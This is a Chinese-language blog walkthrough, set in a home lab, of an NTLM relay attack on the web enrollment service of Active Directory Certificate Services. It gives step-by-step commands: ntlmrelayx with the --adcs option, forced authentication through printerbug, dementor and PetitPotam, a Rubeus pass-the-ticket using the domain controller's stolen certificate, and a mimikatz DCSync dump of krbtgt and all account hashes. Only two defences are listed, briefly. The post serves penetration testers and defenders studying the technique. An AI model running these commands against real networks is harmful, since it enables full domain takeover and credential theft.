前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ADCS之中继攻击

ADCS之中继攻击

作者头像
Al1ex
发布2021-09-07 11:29:51
2.3K0
发布2021-09-07 11:29:51
举报
文章被收录于专栏:网络安全攻防网络安全攻防
文章前言

本篇文章我们主要介绍AD CS攻击系列中的中继攻击的基本原理和攻击手法进行简单阐述~

漏洞原理

AD CS支持几种基于HTTP协议的通过管理员可以安装的其他AD CS服务器角色功能,这些基于HTTP的证书注册接口都是易受攻击的NTLM中继攻击,一方面是因为没有启用NTLM中继保护,另一方面Authorization HTTP头明确允许通过NTLM进行身份验证,并未使用更安全的协议,例如:Kerberos

Authorization头信息:

环境搭建
基础信息
  • 攻击主机:192.168.174.129 Kali
  • 主域控机:192.168.174.2 Windows 2012 R2
  • 辅域控机:192.168.174.160 Windows 2012 R2 (AD CS服务)
  • 域内主机:192.168.174.4 Windows Server 2008
环境说明

域内存在多台主机设备,其中有一台主机上搭建了AD CS证书服务,同时安装基于HTTP协议的AD CS服务器角色功能,例如:证书注册策略Web服务等,这些Web服务采用NTLM的方式进行身份认证,此时攻击者可以通过利用打印机漏洞使得域内DC主机向攻击者主机进行强制认证,之后攻击者窃取域控主机的NTLM身份认证信息并申请证书,由于部分证书(用户/计算机)可以用于Kerberos认证,导致攻击者可以将获取到的证书导入任意域内主机,实现对目标域控的直接访问

网络拓扑
搭建流程
辅助域控

升级为域控:

加入到现有的域环境中:

DSRM密码:

选择主从域复制:

之后重启操作系统:

ADCS搭建

ADCS配置

ADCS测试

本地访问ADCS证书申请Web服务弹出以下认证框,则说明成功:

http://192.168.174.160/certsrv/

先决条件检查

之后查看DC和DC辅控是否在Domain Computers组里面,不在则需要自己加入,否则会利用失败:

漏洞利用

Step 1:域内定位CA机器

代码语言:javascript
复制
certutil -config - -ping

Step 2:安装新版本的Impacket(旧版本没有AD CS命令)

https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack

代码语言:javascript
复制
python3 -m pip install .

Step 3:攻击机器开启本地监听并将证书颁发机构(CA)设置为目标,即目标DC 192.168.174.2

代码语言:javascript
复制
#格式:
python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs 

#示例:
python3 ntlmrelayx.py -t http://192.168.174.160/certsrv/certfnsh.asp -smb2support --adcs

Step 4:利用打印机服务漏洞强制认证

a、使用printerbug

https://github.com/dirkjanm/krbrelayx

代码语言:javascript
复制
#格式:
python printerbug.py domain/username:password@<targetName or Address> <hostname to connect to>
    
#示例:
python3 printerbug.py hacke/testuser:'test@123'@dc.hacke.testlab 192.168.174.129

成功获取到证书数据信息:

b、使用dementor.py脚本

https://github.com/NotMedic/NetNTLMtoSilverTicket

代码语言:javascript
复制
#格式:
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>

#示例:
python3 dementor.py -d hacke.testlab -u Al1ex -p 'Kksvqm@123' 192.168.174.129 192.168.174.2

之后获取到用户的证书信息:

c、使用Petitpotam.py脚本

https://github.com/topotam/PetitPotam

代码语言:javascript
复制
#格式:
python Petitpotam.py -d domain -u username -p password <RESPONDERIP> <TARGET>

#示例:
python3 PetitPotam.py -d hacke.testlab -u Al1ex -p 'Kksvqm@123' 192.168.174.129 192.168.174.160

之后成功得到证书信息:

Step 6:在域内主机Win08-Server上使用普通域用户登录并访问域控

Step 7:利用上面获取到的证书,获取TGT并注入

代码语言:javascript
复制
#格式:
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt

#示例:
Rubeus.exe asktgt /user:DC$ /certificate:打印出来的base64证书数据 /ptt

Step 8:再次访问域控

查看票据信息:

Step 9:之后可以利用mimikatz,进行导出hash

代码语言:javascript
复制
KERBEROS::List 
lsadump::dcsync /user:krbtgt

或者使用以下命令:

代码语言:javascript
复制
lsadump::dcsync /all /csv
防御措施
  • 开启SSL认证
  • 开启NTML中继保护
文末小结

在实施AD CS Realy攻击时需要注意不能Relay给自身,也就是说AD CS服务和受害者主机(大多数情况下为域控)在同一主机上时,此时的受害者主机是域控主机,Realy的目标主机也是域控主机,这种情况下是不可行的,另外子域没有权限也不能Relay

参考链接

https://github.com/SecureAuthCorp/impacket/pull/1101

http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/

https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-09-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章前言
  • 漏洞原理
  • 环境搭建
    • 基础信息
      • 环境说明
        • 网络拓扑
          • 搭建流程
            • 辅助域控
            • ADCS测试
            • 先决条件检查
        • 漏洞利用
        • 防御措施
        • 文末小结
        • 参考链接
        相关产品与服务
        多因子身份认证
        多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档